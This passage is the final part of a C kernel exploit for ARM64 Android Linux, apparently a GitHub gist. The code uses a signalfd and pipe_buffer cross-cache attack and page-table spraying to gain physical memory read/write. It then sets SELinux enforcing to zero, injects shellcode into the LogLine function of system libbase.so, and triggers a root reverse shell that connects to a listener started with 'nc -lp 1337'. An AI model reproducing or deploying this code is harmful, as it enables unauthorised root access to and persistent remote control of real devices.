printf("[+] fd_signal found at %dth\n", fd_cross[fd_idx]);
} else {
puts("[-] Exploit failed :(");
exit(0);
}
mask.sig[0] = ~(leak + 0x80); // | 0x40100
signalfd(fd_cross[fd_idx], &mask, 0);
puts("[+] locating vulnerable object pipe_buffer (for cross cache)");
/* locating vulnerable object (cross cache) */
int c;
for (int j = 0; j < MAX_PIPES; j++) {
int n = read(pipefd[j][0], &c, 4);
if (n < 0 || j != c) {
printf("[+] pipe fd found at %dth\n", j);
pos = j;
break;
}
}
if (pos == -1) {
puts("[-] Exploit failed :(");
exit(0);
}
puts("[+] free vulnerable object (from pipe_buffer)");
close(pipefd[pos][0]); // free vulnerable object
close(pipefd[pos][1]);
puts("[+] finishing cross cache");
/* emptying the page of the fd vulnerable */
for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) {
close(fd_cross[i]);
}
/* discard slab */
for (i = 0; i < MAX_SIGNAL; i++) {
if ((offset + i) != fd_idx) {
close(fd_cross[offset + i]);
}
}
puts("[+] spray page table");
/* spray PTE */
for (uint32_t i = 0; i < NUM_TABLE; i++) {
for (uint32_t j = 0; j < NUM_PTE; j++) {
*(uint32_t *) map[i][j] = (i * 0x200) + j;
}
}
lseek(fd_read, 0, SEEK_SET);
bzero(buffer, 72);
int n = read(fd_read, buffer, 72);
if (n < 0) {
printf("[-] read: %d\n", errno);
exit(0);
}
leak = ~strtoul(&buffer[47], (char **) NULL, 16);
uint64_t flag = (leak & ((uint64_t) 0xfff << (13 * 4)));
if ((flag >> (13 * 4)) != 0xe) {
puts("[-] Exploit failed :(");
exit(0);
}
printf("[+] phys leak 0x%016lx\n", leak);
uint64_t pte_signalfd_restaure = leak;
puts("[+] mmap buffer to manage tlb");
/* buffer to manage tlb */
full_tlb = mmap((void *) NULL, TLB * 0x1000, PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (full_tlb == MAP_FAILED) {
printf("[-] couldn't mmap: %d", errno);
exit(0);
}
puts("[+] looking for page table and phys pte");
int32_t found = 0;
leak = (leak + 0x1000) | 0x40100;
mask.sig[0] = ~leak; // | 0x40100
signalfd(fd_cross[fd_idx], &mask, 0);
/* replace tlb cache */
replace_tlb();
/* locate buffer */
char *evil = NULL;
for (int i = 0; i < NUM_TABLE; i++) {
for (int j = 0; j < NUM_PTE; j++) {
if (*(uint64_t *) map[i][j] != ((i * 0x200) + j)) {
found = 1;
evil = map[i][j];
printf("[+] found distinct page at virtual 0x%lx\n", (uint64_t) evil);
break;
}
}
if (found) break;
}
if (!found) {
puts("[-] Exploit failed :(");
exit(0);
}
/* replace tlb cache */
replace_tlb();
uint64_t end;
if ((leak & 0xfffffff43) >= 0x880000f43) {
end = 0x980000f43;
} else {
end = 0x100000f43;
}
puts("[!] be patient now, looking for page table");
uint64_t *dump = (uint64_t *) evil;
table_1:
/* locate page table */
found = 0;
uint64_t pte = 0;
while (!found && (((leak | 0x40100) & 0xfffffff43) < end)) {
/* replace tlb cache */
replace_tlb();
if ((dump[0] && ((dump[0] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4)))
&& ((dump[0] & 0xfff) == 0xf43))
&& (dump[1] && ((dump[1] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4)))
&& ((dump[1] & 0xfff) == 0xf43))) {
if ((dump[1] - dump[0]) == 0x1000) {
pte = dump[0];
printf("[+] found page table at phys 0x%016lx and phys valid buffer pte 0x%016lx\n", leak, (uint64_t) pte);
found = 1;
break;
}
}
/* replace tlb cache */
replace_tlb();
leak = (leak + 0x1000) | 0x40100;
mask.sig[0] = ~leak; // | 0x40100
signalfd(fd_cross[fd_idx], &mask, 0);
}
if (!found) {
puts("[-] Exploit failed :(");
exit(0);
}
/* replace tlb cache */
replace_tlb();
puts("[+] looking for victim to migrate");
*(uint64_t *) evil = pte + 0x1000;
/* replace tlb cache */
replace_tlb();
/* locate buffer to migrate and
* manage page table to phys r/w
*/
found = 0;
for (uint32_t i = 0; i < TLB; i++) {
if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) {
printf("[+] found victim to migrate at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512));
victim = (char *) (full_tlb + i * 512);
found = 1;
break;
}
}
if (!found) {
*(uint64_t *) evil = pte - 0x1000;
puts("[*] fail * looking for another page table, continue being patient");
goto table_1;
}
/* replace tlb cache */
replace_tlb();
pmd[0] = (uint64_t) evil & ~0x1fffff;
pmd[1] = (uint64_t) victim & ~0x1fffff;
puts("[+] page table self pointer");
*(uint64_t *) evil = leak;
puts("[+] munmap evil");
munmap(evil, 4096);
/* replace tlb cache */
replace_tlb();
puts("[+] looking for victim page");
offset_pgt = 8;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
/* locate buffer to manage phys r/w */
found = 0;
page = NULL;
for (uint32_t i = 0; i < TLB; i++) {
if ((char *) (full_tlb + i * 512) == victim) continue;
if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) {
printf("[+] found victim page at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512));
page = (char *) (full_tlb + i * 512);
found = 1;
break;
}
}
if (!found) {
puts("[-] Exploit failed :(");
exit(0);
}
/* replace tlb cache */
replace_tlb();
pmd[2] = (uint64_t) page & ~0x1fffff;
puts("[+] looking for kernel phys");
/* search kernel phys base */
found = 0;
uint32_t phys_base;
for (uint64_t j = 0; j < 0x1000; j++) {
/* replace tlb cache */
replace_tlb();
*(uint64_t *) (victim + offset_pgt) = (j * (1 << (3 * 4))) | MEMSTART | 0xe8000000000f43;
/* replace tlb cache */
replace_tlb();
uint32_t magic = *(uint32_t *) (page + 0x38);
if (magic == LINUX_ARM64_IMAGE_MAGIC) {
phys_base = (j * (1 << (3 * 4))) | MEMSTART;
printf("[+] kernel phys base at 0x%x\n", phys_base);
found = 1;
break;
}
}
if (!found) {
puts("[-] Exploit failed :(");
exit(0);
}
/* replace tlb cache */
replace_tlb();
uint32_t phys_data = phys_base + KERNEL_DATA;
uint32_t phys_off = phys_base & 0xffffff;
uint64_t virt_kernel_base = VIRTUAL_KERNEL_START + phys_off;
uint64_t init_task = virt_kernel_base + KERNEL_DATA + INIT_TASK + OFF_INIT_TASK;
uint64_t selinux_state = virt_kernel_base + KERNEL_DATA + SELINUX_STATE + OFF_SELINUX_STATE;
printf("[+] kernel phys offset 0x%x\n", phys_off);
printf("[+] kernel phys data at 0x%x\n", phys_data);
printf("[+] kernel virtual selinux_state at 0x%016lx\n", selinux_state);
printf("[+] kernel virtual init_task at 0x%016lx\n", init_task);
printf("[+] kernel virtual base at 0x%016lx\n", virt_kernel_base);
puts("[+] go with selinux bypass");
/* disable selinux */
write16(selinux_state, 0);
puts("[+] selinux enforcing patched");
/* open libbase.so */
int fd_libbase = open("/system/lib64/libbase.so", O_RDONLY);
/* for getting info */
struct stat st;
fstat(fd_libbase, &st);
/* mmap libbase.so for injecting code */
char *libbase = mmap((void *) NULL, st.st_size, PROT_READ, MAP_SHARED|MAP_POPULATE, fd_libbase, 0);
if (libbase == MAP_FAILED) {
printf("[-] couldn't mmap: %d", errno);
exit(0);
}
printf("[+] libbase.so mapped at 0x%lx\n", (uint64_t) libbase);
pmd[3] = (uint64_t) libbase & ~0x1fffff;
/* search logline function */
char *off = memmem(libbase, st.st_size, logline, 576);
if (!off) {
puts("[-] Exploit failed :(");
exit(0);
}
printf("[+] LogLine found at 0x%lx\n", (uint64_t) off);
/* replace tlb cache */
replace_tlb();
puts("[+] looking for process");
char comm[16];
uint64_t task = 0;
uint64_t ptask = init_task;
/* search current task */
while (task != init_task) {
/* replace tlb cache */
replace_tlb();
task = read64(ptask + OFFSET_TASKS) - OFFSET_TASKS;
*(uint64_t *)(comm) = read64(task + OFFSET_COMM);
*(uint64_t *)(comm + 8) = read64(task + OFFSET_COMM + 8);
printf("%016lx -> %s\n", task, comm);
if (!strncmp(comm, "exp1337", 7)) {
break;
}
/*
int pid = read64(task + OFFSET_PID);
if (pid == getpid())
break;
*/
ptask = task;
}
puts("[+] found current process");
/* search file table to stabilize */
uint64_t files = read64(task + OFFSET_FILES);
uint64_t fdt = read64(files + OFFSET_FDT);
uint64_t fd_array = read64(fdt + OFFSET_FD);
printf("[+] current->files->fdt->fd 0x%016lx\n", fd_array);
/* mmu walk */
uint64_t mm = read64(task + OFFSET_MM);
uint64_t pgd = read64(mm + OFFSET_PGD);
printf("[+] current->mm 0x%016lx\n", mm);
printf("[+] current->mm->pgd 0x%lx\n", pgd);
uint32_t offset_logline = (uint64_t) off & 0xfff;
uint64_t offset_pte = get_directory((uint64_t) off >> (12 + 9 * 0));
uint64_t offset_pmd = get_directory((uint64_t) off >> (12 + 9 * 1));
uint64_t offset_pud = get_directory((uint64_t) off >> (12 + 9 * 2));
printf("[+] offset_logline 0x%x\n", offset_logline);
printf("[+] offset_pud 0x%lx\n", offset_pud);
printf("[+] offset_pmd 0x%lx\n", offset_pmd);
printf("[+] offset_pte 0x%lx\n", offset_pte);
uint64_t pud = read64(pgd + offset_pud * 8);
printf("[+] pud 0x%lx\n", pud);
uint64_t pmd = read64(phys_to_virt(((pud >> 12) << 12) & 0xffffffffff, true) + offset_pmd * 8);
printf("[+] pmd 0x%lx\n", pmd);
uint64_t pte_logline = read64(phys_to_virt(((pmd >> 12) << 12) & 0xffffffffff, true) + offset_pte * 8);
printf("[+] pte_logline 0x%lx\n", pte_logline);
/* replace tlb cache */
replace_tlb();
/* set the pte with permissions to inject code */
*(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43;
/* replace tlb cache */
replace_tlb();
/* inject code */
memcpy(page + offset_logline, shellcode, 287);
puts("[+] shellcode injected into LogLine");
puts("[+] execute nc -lp 1337 and press key here");
getc(stdin);
puts("[+] trigger lpe");
int pid = fork();
if (!pid) {
sleep(1);
exit(139);
}
kill(pid, SIGSEGV);
puts("[+] look at root reverse shell :)");
sleep(3);
/* replace tlb cache */
replace_tlb();
/* set the pte with permissions to restaure code */
*(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43;
/* replace tlb cache */
replace_tlb();
/* restaure code */
memcpy(page + offset_logline, logline, 287);
puts("[+] LogLine function restaured");
puts("[+] clean up");
/* clean up signalfd */
write64(fd_array + fd_cross[fd_idx] * 8, 0);
/* restaure ptes */
*(uint64_t *) victim = 0UL;
*(uint64_t *) (victim + offset_pgt) = 0UL;
/* clean up */
munmap(full_tlb, TLB * 0x1000);
/* clean up */
for (uint32_t i = 0; i < NUM_TABLE; i++) {
for (uint32_t j = 0; j < NUM_PTE; j++) {
if (map[i][j] == evil) continue;
munmap(map[i][j], 0x1000);
}
}
puts("[+] finish");
exit(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment